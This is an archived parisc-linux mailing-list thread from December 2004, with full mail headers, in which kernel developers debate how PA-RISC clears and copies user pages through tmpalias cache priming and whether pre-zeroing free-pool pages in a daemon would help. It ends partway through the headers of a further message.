  by mx0.gmx.net (mx056) with SMTP; 31 Dec 2004 21:27:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E0EB33BE51; Fri, 31 Dec 2004 13:27:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10913-08; Fri, 31 Dec 2004 13:27:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 143723BE56; Fri, 31 Dec 2004 13:27:00 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7659B3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 13:26:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11234-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 13:26:52 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 2E87E3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 13:26:52 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	iBVKQov1010518 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 12:26:50 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.113.178] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id QMR0NvU5
	authenticated by SMTP; Fri, 31 Dec 2004 12:26:49 -0700 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <1104160093.5295.8.camel@mulgrave>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22235

On Mon December 27 2004 09:08, James Bottomley wrote:
> On Mon, 2004-12-27 at 10:40 +0000, Joel Soete wrote:
> > Should be why it was removed but as far as I didn't find any explanation (that's obvious: that's nearly impossible to explain all 
> > details of implementation ;-)
> 
> I haven't time to look through the patch, but I can explain what the
> pdtlb's are about in pacache.S.
> 
> Both copy_user_page_asm and __clear_user_page_asm use something called
> the tmpalias mapping.  This is a 8MB reserved area that's used to prime
> the user space cache.  What you do is to set up a temporary mapping for
> the target of the copy which is congruent to the user space address
> somewhere in the tmpalias region.  Then when you do the copy, the user
> alias is automatically up to date as well (because the cache sees the
> collision by virtue of its congruence properties).
> 
> It's a nice idea, but we've never been able to make it work in practise,
> because the user page we're copying can be an executable page, and this
> scheme only makes the d-cache correct.  If we had a way of telling
> whether it's a data page or and instruction page, we could make it work.
> That's why the mechanism is #if 0'd out.
> 
Group,
I have been following this thread with interest.  Let me share my observations.

Changes in the instruction sequence of this kernel code path makes a user
observable difference in execution timings.

<bold-statement attribute="General-OS-Design">
    This path should not be within the set of user observable execution times.
</bold-statement>

Conditions, general:
The copy of a "user page" :: presumed to mean "copy of a page assigned
to user space".  Possible refinement: "copy of a page assigned to a specific
user's space".

Page must contain zeros on return.

Contents of system caches must correspond to contents of page (zeros).

On entry, it is unknown if page is currently Data, Executable (Instruction),
Both, or Neither.
Having a means to determine the exact, prior, usages of a page on entry
to this path would be nice; but logic and design can overcome this lack.

HP, PA-RISC has only i-cache and d-cache hardware.  It does not have
s-cache hardware.

A page assigned to user space may be assigned to more than one,
specific, user's space.

A page assigned to user space may also be assigned to kernel space.

For a 'dual assigned' page (assigned to both user space and kernel space) 
the following must hold:

A)  (Kernel Instruction) and (User Instruction)::
        MUST NOT also be assigned: (User Data)
        MAY OPTIONALLY be assigned: (Kernel Data)

B)  (Kernel Data) and (User Data)::
        MUST NOT also be assigned: (Kernel Instruction)
        MAY OPTIONALLY be assigned: (User Instruction)

The above requirements are independent of the implementation of
such assignments.  
Memory management hardware that allows 'dual assignment' is rare.  
Memory management software that allows 'dual assignment' by 
constructing a 'page alias' is common.

Condition (A :: 'MUST NOT') protects kernel provided, common code, 
from user modification.

Condition (A :: 'MAY OPTIONALLY') allows the kernel to:
    1) Dynamically alter the code provided to user space in general.
    2) Dynamically alter the code provided to a specific user's space.  
        NOTE: Such operation would trigger a 'copy on write' code path.  
        NOTE: The (shared) source page of 'copy on write' is not modified.
        NOTE: The destination page of 'copy on write' comes from the free pool.

Condition (B :: 'MUST NOT') protects the kernel from user insertion or 
modification of kernel code.

Condition (B :: 'MAY OPTIONALLY') supports the provision of 'executable
stack' in user space in the absence of s-cache hardware.

For a system that supports the provision of 'user, executable stack' the
following must hold:

C) (User Instruction) and (User Data) and (User Stack)::
        MUST meet condition (B)
        MUST NOT be shared among users: thou shall not share your stack.

D) (User Data) and (User Heap)::
        MUST NOT also be assigned: (Kernel Instruction)
        MUST NOT also be assigned: (User Instruction)
        MAY OPTIONALLY share disjoint address sub-ranges of the overall
        address range '((User Instruction) and (User Data) and (User Stack))'
        ON EITHER CONDITION OF:
        1) Attributes of the disjoint address sub-ranges are also disjoint.
        2) Software design can guarantee behavior the same as sub-condition(1).

Condition (C :: 'MUST NOT') 'copy on write' code path is never used.

Condition (D :: 'MUST NOT') Differs from (Condition C) by non-compliance with
(Condition B).

Condition (D :: 'MAY OPTIONALLY') Guarantees the distinction between (Condition
C) and (Condition D) when (Condition D) address area is shared among users in
the absence of separate (Condition C) and (Condition D) address spaces.
NOTE: A (Condition D) area my trigger a 'copy on write' code path; A (Condition
C) area MUST NOT trigger a 'copy on write" code path.

<All-Other-Combinations>

1) A page received from (any) free pool is guaranteed to contain only zeros.
2) A page received from (any) free pool is guaranteed to not have any 'user
space' cache representations.

</All-Other-Combinations>

NOTE: Zeroing a page received from (any) free pool is not 'user observable'
for the simple reason that it never happens.

<Page-Return-To-Free-Pool>

Pages which are intended to be added to the free pool, are not directly returned
to the free pool. 
Instead they are returned to a kernel space, free pool management, daemon.  It
is this daemon that makes the <All-Other-Combinations> guarantee.

NOTE: Zeroing a page on return to (any) free pool is not 'user observable' only
the 'add to free pool incoming queue' is in the 'user observable' code path.

NOTE: Pages handled by this daemon may have both d-cache and i-cache
representations.  But the code which deals with this situation is not 'user 
observable' because the entire 'return to free pool' operation is not 'user
observable'.

</Page-Return-To-Free-Pool>

<Non-Free-Pool-Pages>

<Non-rhetorical Question="What user pages can be both Instruction and Data?" />

(Condition B - 'MAY OPTIONALLY') pages: 

Dual Assigned : (I.E: Transition from 'shared' to 'private')
In-Use portion is copied ('user observable') - Not-Used portion is not copied.
It can be guaranteed to already be zero since it hasn't been used.
The 'write' side of the copy instructions does any 'cache priming'.

(Condition C) pages:

NOTE: Never shared, therefore never copied.

NOTE: Extending the pages present for an executable stack does not
have 'user observable' zeroing since the new page source is the free pool.

NOTE: Trimming 'zombie' stack extensions under general memory pressure
(I.E: Free pool exhausted @ new page request pending) would generate 'user
observable' execution time while a page on the 'add to free pool incoming
queue' was cleared.
This corner case can be postponed by using 'preemptive trimming' implemented
in the free pool management daemon.

</Non-Free-Pool-Pages>

Q.E.D: Zeroing a page with the destination of user space assignment need not
be a 'user observable' execution time.

There should be additional gains made in 'copy-[to|from]-user' when these four
conditions are enforced.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux] clear user page test]
Date: Fri, 31 Dec 2004 13:56:22 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20041231205622.GA24116@colo.lackof.org>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<41CFE6B1.6010707@tiscali.be> <1104160093.5295.8.camel@mulgrave>
	<200412311426.13425.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623634 12095 80.91.229.3 (22 Nov 2014 02:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 20:57:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 31 Dec 2004 21:57:06 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C05143BE51; Fri, 31 Dec 2004 13:56:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11234-10; Fri, 31 Dec 2004 13:56:51 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2A0D13BE56; Fri, 31 Dec 2004 13:56:30 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C5193BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 13:56:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 11234-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 13:56:24 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 5FD5D3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 13:56:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 97F2C298059;
	Fri, 31 Dec 2004 13:56:23 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24002-06; Fri, 31 Dec 2004 13:56:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3939D298056; Fri, 31 Dec 2004 13:56:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200412311426.13425.mszick@wolfbutter.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22236

On Fri, Dec 31, 2004 at 02:26:13PM -0600, Michael S. Zick wrote:
>     This path should not be within the set of user observable execution times.
...
> NOTE: Zeroing a page on return to (any) free pool is not 'user observable' only
> the 'add to free pool incoming queue' is in the 'user observable' code path.
> 
> NOTE: Pages handled by this daemon may have both d-cache and i-cache
> representations.  But the code which deals with this situation is not 'user 
> observable' because the entire 'return to free pool' operation is not 'user
> observable'.
...
> Q.E.D: Zeroing a page with the destination of user space assignment need not
> be a 'user observable' execution time.

Mike,
The copy_user_page and zero_page functions *are* observable since they
affect metrics reported by "time" and readprofile. I don't care if they
are in invoked in the application context or some other context.

Certainly, it would reduce startup latency to pre-zero the pages in
the kernel (daemon) and have them ready when apps want them.
But on a loaded system, I expect this will be slightly less efficient
and more complex since one doesn't know how many need to be pre-zero'd
or when to steal pre-zero'd pages for other uses (e.g. load in an
executable).

> There should be additional gains made in 'copy-[to|from]-user' when these four
> conditions are enforced.

I read the conditions and thought "neat".
I don't pretend to understand all of them or what they mean.
But instead of trying to explain them, could you send me a patch that works?
Maybe something that has a chance of going back upstream to linus?

thanks,
grant

> 
> Mike
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux] clear user page test]
Date: Fri, 31 Dec 2004 15:21:50 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <1104528110.5247.20.camel@mulgrave>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<41CFE6B1.6010707@tiscali.be> <1104160093.5295.8.camel@mulgrave>
	<200412311426.13425.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623634 12103 80.91.229.3 (22 Nov 2014 02:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:54 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 21:22:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 31 Dec 2004 22:22:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C328C3BE59; Fri, 31 Dec 2004 14:22:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12291-05; Fri, 31 Dec 2004 14:22:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B1B313BE57; Fri, 31 Dec 2004 14:22:05 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 499373BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 14:22:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12062-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 14:21:59 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id ED6423BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 14:21:58 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iBVLLuF22496; Fri, 31 Dec 2004 16:21:57 -0500
In-Reply-To: <200412311426.13425.mszick@wolfbutter.com>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22237

On Fri, 2004-12-31 at 14:26 -0600, Michael S. Zick wrote:
> Page must contain zeros on return.
> 
> Contents of system caches must correspond to contents of page (zeros).

Actually, no, this is precisely what we don't do for performance
reasons.  If we just wanted to the caches and main memory in sync, we
wouldn't need to muck with the tmpalias space.

What clear_user_page_asm does is to prime the cache covering the page
with zeros, but return the page to user space with a dirty cache (i.e.
with the real memory not necessarily zero'd but with the cache in a
state to zero it on a flush).  The reason for using the tmpalias space
is so that the user's VIPT cache lines covering the page are congruent
and thus the same ones the kernel wrote the zeros to.

This means that if the user is simply going to fill the page again, we
stand a good chance of *not* having to write the zeros to main memory in
the first place (this saves us quite a bit of execution time because
writing to main memory is an expensive operation).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux] clear user page test]
Date: Fri, 31 Dec 2004 15:35:28 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <200412311535.28359.mszick@wolfbutter.com>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<200412311426.13425.mszick@wolfbutter.com>
	<20041231205622.GA24116@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623634 12115 80.91.229.3 (22 Nov 2014 02:33:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 21:36:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 31 Dec 2004 22:36:28 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B57C63BE53; Fri, 31 Dec 2004 14:36:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12291-10; Fri, 31 Dec 2004 14:36:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8FD553BE56; Fri, 31 Dec 2004 14:36:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 35BD83BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 14:36:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12518-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 14:36:06 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 1AB083BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 14:36:06 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	iBVLa5v1019854 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 13:36:05 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [69.34.113.178] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id 4ep0wLX5
	authenticated by SMTP; Fri, 31 Dec 2004 13:36:04 -0700 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <20041231205622.GA24116@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22238

On Fri December 31 2004 14:56, Grant Grundler wrote:
> 
> I read the conditions and thought "neat".
> I don't pretend to understand all of them or what they mean.
> But instead of trying to explain them, could you send me a patch that works?
> Maybe something that has a chance of going back upstream to linus?
> 
I tried the 'patch that works' route with a similar suggestion for sched.c
Based on that experience...

I suspect that perhaps pictures (diagrams? flow charts? dependency
graphs?) might stand a better chance of conveying what I can't explain
in English.  I'll put that (drawing pictures) on my todo list.

Let me attempt an abstract in words:

The *nix philosophy is two part drivers.

The 'top part' can be viewed as a 'client' that makes requests on 
behalf of the hardware.
The 'bottom part' can be viewed as a 'host' that services 'client'
requests.

Nothing new there.

What I proposed was:
The memory page free pool be defined as a 'virtual device' with
a two part driver.

The 'top part' is executed by the 'client' (kernel).
The 'bottom part' is executed by the 'host' (kernel daemon).

The only thing different than usual here is that a real hardware
device is (in most cases) the 'client' and the kernel is the 'host'.

In this virtual free pool device, the kernel is the 'client' and the
daemon is the 'host' (which only happens to be part of the kernel).
Only the 'client' code is in the user's execution path.

Should be interesting to consider.

I wouldn't expect the idea to be adopted any quicker than my
description (and patch that works) that the scheduler should be
a virtual device with a two part driver.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux] clear user page test]
Date: Fri, 31 Dec 2004 17:56:46 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <200412311756.46417.mszick@wolfbutter.com>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<200412311535.28359.mszick@wolfbutter.com>
	<20041231225447.GC23592@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623635 12117 80.91.229.3 (22 Nov 2014 02:33:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Dec 2004 23:57:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 01 Jan 2005 00:57:46 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C6B1C3BE48; Fri, 31 Dec 2004 16:57:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13538-03; Fri, 31 Dec 2004 16:57:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 78D8C3BE56; Fri, 31 Dec 2004 16:57:31 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D2603BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 16:57:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12693-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 31 Dec 2004 16:57:24 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 3FEF63BE48
